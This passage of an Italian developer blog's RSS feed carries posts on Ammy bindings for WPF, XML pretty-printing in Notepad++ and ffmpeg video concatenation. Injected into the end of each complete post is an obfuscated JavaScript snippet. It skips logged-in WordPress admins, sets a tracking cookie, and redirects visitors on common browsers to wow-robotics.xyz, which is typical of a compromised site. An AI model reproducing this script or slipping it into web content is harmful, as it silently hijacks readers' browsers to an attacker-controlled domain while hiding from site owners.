    VerticalAlignment: Center,
    HorizontalAlignment: Stretch,
    PasswordChanged: <span class="str">"changed"</span>
}</pre>
</div>
<p>E’ esattamente come faremmo con lo XAML. L’intellisense ci viene in aiuto, fino ad un certo punto. <font color="#ff0000">Purtroppo dobbiamo scrivere noi l’event handler legato a questo evento.</font> Una volta che avete sottoscritto l’evento e predisposto l’event handler nel code-behind, ovviamente tutto funziona. Fate per scrivere una password, e passate dal codice del vostro handler. Nulla di strano fino a qua.</p>
<p>Se successivamente modificate il codice Ammy a run-time e salvate, la Windows viene aggiornata, <font color="#ff0000">ma l’event handler si sgancia.</font> Morale: dovete stoppare e riavviare l’applicazione. Da tener presente che tutto questo accade se lavorate con eventi ed un po’ di code-behind. Se approcciate con MVVM il problema non si pone, ma c’è comunque.</p>
<p>Happy coding!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/09/ammy-5-modifiche-a-runtime-del-codice.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Formattazione XML con Notepad++</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/08/formattazione-xml-con-notepad.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=formattazione-xml-con-notepad</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/08/formattazione-xml-con-notepad.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Wed, 08 Feb 2017 09:11:00 +0000</pubDate>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2860</guid>

					<description><![CDATA[Negli ultimi giorni ho litigato parecchio con Open XML SDK, la libreria Microsoft open che permette di creare da codice documenti di tipo Office, vale a dire Word ed Excel, giusto per citarne i due più famosi. E’ giusto ricordare che i formati .docx e .xlsx non sono nient’altro che file zip compressi, che al [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Negli ultimi giorni ho <em><font color="#c0504d">litigato</font></em> parecchio con <a href="https://www.nuget.org/packages/OpenXMLSDK-MOT/" target="_blank" rel="noopener noreferrer">Open XML SDK</a>, la libreria Microsoft open che permette di creare da codice documenti di tipo Office, vale a dire Word ed Excel, giusto per citarne i due più famosi.</p>
<p>E’ giusto ricordare che i formati .docx e .xlsx non sono nient’altro che file zip compressi, che al loro interno contengono tutte le informazioni per rappresentare i documenti. Ed il tutto è gestito attraverso file XML che possono essere tranquillamente letti, modificati e manipolati. La libreria Open XML SDK semplifica un po’ le cose, ma c’è comunque da impazzire un pochino.</p>
<p>Fatta questa premessa, mi è capitato di dover visualizzare questi file XML attraverso <a href="https://notepad-plus-plus.org/" target="_blank" rel="noopener noreferrer">Notepad++</a> che, purtroppo, di default non è in grado di formattare a dovere. Quindi, per riassumere:</p>
<ul>
<li>apro un file .docx attraverso 7-Zip</li>
<li>navigo i folder contenuti, seleziono un file XML</li>
<li>premo F4 per avviare l’editor, nel mio caso Notepad++</li>
<li>il file XML è visualizzato su una singola lunghissima linea di codice.</li>
</ul>
<p><strong><font color="#ff0000">Burp! Panico.</font></strong></p>
<p>Come risolvere? Con i plugin giusti di Notepad++, ovviamente.</p>
<ul>
<li>Aprite Notepad++</li>
<li>Aprite il menù <strong>Plugins</strong> –&gt; <strong>Plugin Manager</strong> –&gt; <strong>Show Plugin Manager</strong></li>
</ul>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-6.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-6.png" width="516" height="198"></a></p>
<p>Dall’elenco dei plugin selezionate <strong>XML Tools</strong>.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-7.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-7.png" width="516" height="301"></a></p>
<p>Cliccate <strong>Install</strong>, riavviate Notepad++. Purtroppo potrebbe capitarvi di dover riavviare un paio di volte Notepad++, perchè prima vi aggiorna il Plugin Manager e poi dovete richiedere nuovamente l’installazione del plugin <strong>XML Tools</strong>. Fatto questo, avete abilitato tutta una serie di nuovi strumenti per lavorare più velocemente con i file XML.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-8.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-8.png" width="516" height="601"></a></p>
<p>Et voilà, un bel colpo di <strong>Pretty print</strong> per formattare l’XML e poterlo leggere comodamente!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/08/formattazione-xml-con-notepad.aspx/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>[Ammy.4] Fare binding con Ammy</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/07/ammy-4-fare-binding-con-ammy.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ammy-4-fare-binding-con-ammy</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/07/ammy-4-fare-binding-con-ammy.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Tue, 07 Feb 2017 08:58:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2852</guid>

					<description><![CDATA[Nel post precedente abbiamo mosso i primi passi con WPF &#38; MVVM sviluppato con Ammy. Abbiamo creato una view ed abbiamo visto come legare staticamente questa view con il suo viewmodel. Ricordo che tutto il codice sorgente si trova su GitHub: https://github.com/Brain-Sys/FsxLogger.Client Adesso, come facciamo binding? L’unica view con cui abbiamo a che fare è [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><a href="https://blog.vivendobyte.net/blog/archive/2017/02/03/ammy-3-primi-passi-con-mvvm.aspx" target="_blank" rel="noopener noreferrer">Nel post precedente</a> abbiamo mosso i primi passi con WPF &amp; MVVM sviluppato con Ammy. Abbiamo creato una view ed abbiamo visto come legare staticamente questa view con il suo viewmodel.</p>
<p>Ricordo che tutto il codice sorgente si trova su GitHub:<br />
<a href="https://github.com/Brain-Sys/FsxLogger.Client"><strong>https://github.com/Brain-Sys/FsxLogger.Client</strong></a></p>
<p>Adesso, come facciamo binding?</p>
<p>L’unica view con cui abbiamo a che fare è contenuta nel file <strong>LoginWindow.ammy</strong>. La UI è questa:</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-5.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-5.png" width="404" height="309"></a></p>
<p>Un controllo <strong>TextBox</strong> ed un <strong>PasswordBox</strong>, seguiti poi da due <strong>Button</strong> per eseguire due comandi (uno effettua il login e l’altro annulla l’operazione, per cui l’applicazione WPF viene chiusa).</p>
<p>La TextBox è collegata alla proprietà <strong>Username</strong> del ViewModel.</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">TextBox {
    #Cell(0, 1),
    VerticalAlignment: Center,
    HorizontalAlignment: Stretch,
    Text: bind Username,
    Padding:"4" }</pre>
</div>
<p>Notare l’uso del mixin <strong>Cell</strong>. La penultima riga effettua il binding. La sintassi è molto compatta.</p>
<p><font color="#0000ff">Text : <strong>bind</strong> Username</font></p>
<p>Abbiamo utilizzato la keyword <strong>bind</strong> di Ammy. La proprietà del viewmodel va indicata senza virgolette né apici, semplicemente indicando il nome della proprietà, come faremmo con lo XAML.</p>
<p>Se dovessimo impostare ulteriori proprietà per fare il binding (Mode, UpdateSourceTrigger, StringFormat, NotifyOn*), allora la sintassi cambia leggermente. Si ragiona sempre in JSON:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">Text: bind Username set
[
    Mode: TwoWay,
    UpdateSourceTrigger: PropertyChanged,
    IsAsync: true
]</pre>
</div>
<p>Dopo il <strong>Set</strong> si indica un array di proprietà, ciascuna con il suo valore. Nel caso specifico, impostare <strong>Mode</strong> ed <strong>IsAsync</strong> non era necessario, l’ho fatto a solo scopo didattico.</p>
<p>Per quanto riguarda i due Button, il binding verso i Command è semplicemente espresso come:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">Button { Content: "Login", Command: bind LoginCommand }
Button { Content: "Cancel", Command: bind CancelLoginCommand }</pre>
</div>
<p>Ovviamente LoginCommand e CancelLoginCommand sono due proprietà RelayCommand (stiamo utilizzando MvvmLightLibs) esposte dal viewmodel. Cliccando su ciascuno dei due bottoni, viene scatenato il Command corrispondente. Non ci interessa approfondire altro in questo contesto.</p>
<p>Risolvere il problema del binding sul controllo <strong>PasswordBox</strong> è un po’ più complicato, perchè la proprietà <strong>Password</strong> non è una DependencyProperty. E’ OT rispetto a questo post, ma lo risolveremo.</p>
<p><strong>Altri tipi di binding</strong></p>
<p>Vediamo adesso altre forme di binding. Parliamo di come poter impostare il focus sul primo controllo all’avvio della finestra, posizionandolo sul controllo <strong>PasswordBox</strong>.</p>
<p>Questa cosa si risolve con due passaggi:</p>
<ol>
<li>diamo un nome al controllo a cui vogliamo assegnare il focus</li>
<li>utilizziamo la classe FocusManager</li>
</ol>
<p>Risolviamo prima lo step (1).</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">PasswordBox {
    #Cell(1, 1),
    VerticalAlignment: Center,
    HorizontalAlignment: Stretch,
    Name: "focus" }</pre>
</div>
<p>Il nome assegnato al controllo è <strong>focus</strong>. A questo punto andiamo ad utilizzare la seguente sintassi associata alla Window.</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">FocusManager.FocusedElement: bind from "focus"</pre>
</div>
<p>Utilizziamo la keyword <strong>bind </strong>seguita da <strong>from</strong>, che ci permette di cambiare il Source dell’oggetto verso il quale stiamo effettuando il binding. La stringa successiva “focus” rappresenta il nome del controllo. Lo XAML generato dal codice Ammy qui sopra è il seguente:</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode"><span class="kwrd">&lt;</span><span class="html">FocusManager.FocusedElement</span><span class="kwrd">&gt;</span>
    <span class="kwrd">&lt;</span><span class="html">Binding</span> <span class="attr">ElementName</span><span class="kwrd">="focus"</span><span class="kwrd">/&gt;</span>
<span class="kwrd">&lt;/</span><span class="html">FocusManager.FocusedElement</span><span class="kwrd">&gt;</span></pre>
</div>
<p>Sostanzialmente, quando utilizziamo la sintassi <strong>bind from</strong> seguito da una stringa tra virgolette, questa stringa viene considerata come ElementName, quindi il Source diventerà un controllo WPF.</p>
<p>Da adesso in poi, quando la Window verrà renderizzata sullo schermo, WPF assegnerà il focus automaticamente al controllo PasswordBox: l’utente potrà premere Invio e fare login.</p>
<p><strong>Beh, cosa posso indicare dopo il “from” ?</strong></p>
<p>Ammy permette di scrivere binding di questo tipo:</p>
<ul>
<li><font color="#008040">bind Username from $viewmodel</font> (comportamento predefinito, al punto che è possibile omettere from $viewmodel)</li>
<li><font color="#008040">bind XYZ from $this</font>, equivalente a RelativeSource={RelativeSource Self}</li>
<li><font color="#008040">bind from $resource XYZ</font>, equivalente a Source={StaticResource XYZ}</li>
</ul>
<p>Per maggiori dettagli fate riferimento <a href="https://www.ammyui.com/documentation/syntax/#binding" target="_blank" rel="noopener noreferrer">al sito ufficiale di Ammy</a>.</p>
<p>Happy coding!<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/07/ammy-4-fare-binding-con-ammy.aspx/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Montaggio video con ffmpeg</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/06/montaggio-video-con-ffmpeg.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=montaggio-video-con-ffmpeg</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/06/montaggio-video-con-ffmpeg.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Mon, 06 Feb 2017 08:25:00 +0000</pubDate>
				<category><![CDATA[Software]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2848</guid>

					<description><![CDATA[Nei mesi scorsi, quando ero in ballo con il progetto DevInPills, mi è capitato di dover montare tre video, concatenandoli uno all’altro, sostanzialmente per ottenere una cosa tipo: SIGLA DI APERTURA + EPISODIO DEL GIORNO + SIGLA DI CHIUSURA Ho evitato di cercare un software tradizionale, ma ho preferito puntare su uno strumento che fosse [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Nei mesi scorsi, quando ero in ballo con il progetto <strong>DevInPills</strong>, mi è capitato di dover montare tre video, concatenandoli uno all’altro, sostanzialmente per ottenere una cosa tipo:</p>
<p><strong>SIGLA DI APERTURA + EPISODIO DEL GIORNO + SIGLA DI CHIUSURA</strong></p>
<p>Ho evitato di cercare un software tradizionale, ma ho preferito puntare su <strong><font color="#008040">uno strumento che fosse automatizzabile</font></strong>. Leggesi, quindi, da eseguire anche dal prompt dei comandi.</p>
<p>Ho puntato quindi sull’utility <strong>ffmpeg</strong> che, come dichiara <a href="https://ffmpeg.org/" target="_blank" rel="noopener noreferrer">il sito ufficiale</a>, è un “<em><font color="#008040">complete, cross-platform solution to record, convert and stream audio and video</font></em>”. Dalla linea di comandi potete insomma eseguire tantissime operazioni, e come potete immaginare io ne ho imparato una minima parte, quelle che avevo bisogno per finire ciò che mi serviva.</p>
<p><strong>Beh, allora, come si fa?</strong><br />
Supponiamo di avere un folder così composto:</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-4.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-4.png" width="516" height="247"></a></p>
<ul>
<li>ffmpeg.exe : è portable, non va installato, basta posizionare l’exe da quasi 40Mb dove vi serve. Comodo.</li>
<li>In.mp4 : video di apertura del video finale</li>
<li>Out.mp4 : video di chiusura del video finale</li>
<li>Produce.ps1 : script Powershell che effettua il montaggio del video</li>
</ul>
<p>Quello che manca nella cartella qui sopra è “<em><font color="#008040">Episode.mp4</font></em>”, supponiamo che ci sia, e pensiamo ad esso come se fosse la nostra puntata.</p>
<p>Cosa contiene lo script Powershell? E’ semplice!</p>
<div id="codeSnippetWrapper">
<pre id="codeSnippet" class="csharpcode">$InputFile = <span class="str">"Episode.mp4"</span>

<span class="rem">#--------------------------------------</span>
<span class="rem">#Please don't touch these values</span>
<span class="rem">#--------------------------------------</span>
$ExePath = <span class="str">".\ffmpeg.exe"</span>
$OpeningFile = <span class="str">"In.mp4"</span>
$EndingFile = <span class="str">"Out.mp4"</span>
$FinalFile = <span class="str">"FINAL_"</span> + $InputFile
<span class="rem">#--------------------------------------</span>

<span class="rem"># Concatenate "In.mp4" + $InputFile + "Out.mp4"</span>
<span class="rem"># Save the result in $FinalFile</span>
&amp; $ExePath -i $OpeningFile -i $InputFile -i $EndingFile -filter_complex <span class="str">'[0:v:0] [0:a:0] [1:v:0] [1:a:0] [2:v:0] [2:a:0] concat=n=3:v=1:a=1 [v] [a]'</span> -map <span class="str">"[v]"</span> -map <span class="str">"[a]"</span> $FinalFile
</pre>
</div>
<p>Ci sono un po’ di variabile definite nello script.</p>
<ul>
<li>$InputFile : è il nome del file che contiene il nostro episodio</li>
<li>$ExePath : path dove recuperare ffmpeg.exe</li>
<li>$OpeningFile : video di apertura</li>
<li>$EndingFile : video di chiusura</li>
<li>$FinalFile : nome del file video finale che verrà generato (uso come prefisso “FINAL_” rispetto al nome del file contenuto in $InputFile)</li>
</ul>
<p>L’ultima linea esegue <strong>ffmpeg</strong> e procede al concatenamento dei tre video, che come si vede dal commento è un banale “<strong><font color="#0000ff">In.mp4</font></strong>” + “<strong><font color="#0000ff">Episode.mp4</font></strong>” + “<strong><font color="#0000ff">Out.mp4</font></strong>”. La sintassi è alquanto criptica, devo dire. Ovviamente ho cercato la soluzione e poi l’ho adattata ai miei scopi.</p>
<p>Secondo me, se gestite un sito di video (su Facebook, YouTube, etc.) o magari una community che intende pubblicare frequentemente dei video, è uno script più che utile, perchè vi permette di registrare la vostra puntata sotto forma di Episode.mp4, copiare il file nella cartella giusta, lanciare lo script ed in pochi minuti ottenete il video montato, con la sigla di apertura &amp; chiusura.</p>
<p><strong>ffmpeg</strong> fa tantissime altre cose (cambio di risoluzioni o di aspect-ratio di un video, cambiamento del bitrate per diminuire la qualità ed ottenere un file più compatto), etc. Googlate e carpite la sintassi che serve ai vostri scopi.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2017/02/06/montaggio-video-con-ffmpeg.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>[Ammy.3] Primi passi con MVVM</title>
		<link>http://blog.vivendobyte.net/blog/archive/2017/02/03/ammy-3-primi-passi-con-mvvm.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ammy-3-primi-passi-con-mvvm</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2017/02/03/ammy-3-primi-passi-con-mvvm.aspx#comments</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Fri, 03 Feb 2017 08:28:00 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<category><![CDATA[VisualStudioTips.net]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=2844</guid>

					<description><![CDATA[Come ho raccontato nel mio ultimo post dedicato a questa serie, preferisco continuare a raccontarvi il linguaggio Ammy usando un progetto il più possibile reale, motivo per cui ho creato questo repository sull’account GitHub di Brain-Sys, che potete tranquillamente clonarvi sul vostro PC: https://github.com/Brain-Sys/FsxLogger.Client Allo stato attuale, la solution che vi ritroverete sul PC è [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Come ho raccontato nel mio ultimo post dedicato a questa serie, preferisco continuare a raccontarvi il linguaggio Ammy usando un progetto il più possibile reale, motivo per cui ho creato questo repository sull’account GitHub di Brain-Sys, che potete tranquillamente clonarvi sul vostro PC:</p>
<p><a title="https://github.com/Brain-Sys/FsxLogger.Client" href="https://github.com/Brain-Sys/FsxLogger.Client"><strong><font color="#0000ff">https://github.com/Brain-Sys/FsxLogger.Client</font></strong></a></p>
<p>Allo stato attuale, la solution che vi ritroverete sul PC è così composta:</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-1.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-1.png" width="404" height="256"></a></p>
<p>Tralasciamo per ora lo scopo preciso della nostra applicazione WPF. I progetti sono quattro:</p>
<ul>
<li><strong><font color="#c0504d">FsxLogger.Client</font></strong> : l’applicazione WPF sviluppata con Ammy</li>
<li><strong><font color="#c0504d">FsxLogger.ViewModels.Portable</font></strong> : una serie di viewmodel implementati in PCL</li>
<li><strong><font color="#c0504d">FsxLogger.ViewModels.Wpf</font></strong> : una serie di viewmodel che ereditano da quelli PCL, ma si specializzano per il mondo WPF</li>
<li><strong><font color="#c0504d">FsxLogger.ViewModels.Message</font></strong> : messaggi da utilizzare per far comunicare viewmodel con l’applicazione WPF, utilizzando la classe Messenger di MvvmLightLibs</li>
</ul>
<p>Detto questo, parto dal presupposto che conosciate WPF, C#, MVVM, il motore di binding di WPF, e la solita serie di nozioni che è necessario avere. Andiamo per gradi.</p>
<p><strong>Prima di partire in quarta…qualche nozione introduttiva</strong><br />
La nostra applicazione WPF ha una finestra di Login per l’autenticazione, che ovviamente è la prima che compare quando l’applicazione parte. Essa si chiama, con molta fantasia, <em><font color="#008040">LoginWindow.ammy</font></em>. E’ questa la prima finestra che andremo a sviluppare. Il corrispondente viewmodel si chiama <strong>LoginViewModel</strong>, e si trova nell’assembly PCL.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image-2.png"><img title="image" style="border-top: 0px;border-right: 0px;border-bottom: 0px;padding-top: 0px;padding-left: 0px;border-left: 0px;padding-right: 0px" border="0" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2017/02/image_thumb-2.png" width="516" height="550"></a></p>
<p><strong>Importare un namespace</strong><br />
La prima necessità che abbiamo è quella di importare un namespace in linguaggio Ammy, esattamente come faremmo con lo XAML, né più né meno. La sintassi è molto semplice, perchè basta utilizzare la keyword <em>using</em>, che è la stessa che useremmo con C#. Dopo aver aggiunto le reference (dal progetto FsxLogger.Client ho aggiunte le reference agli altri 3, per capirci), possiamo prendere un file .ammy ed all’inizio dichiarare il namespace in questo modo:</p>
<div id="codeSnippetWrapper">
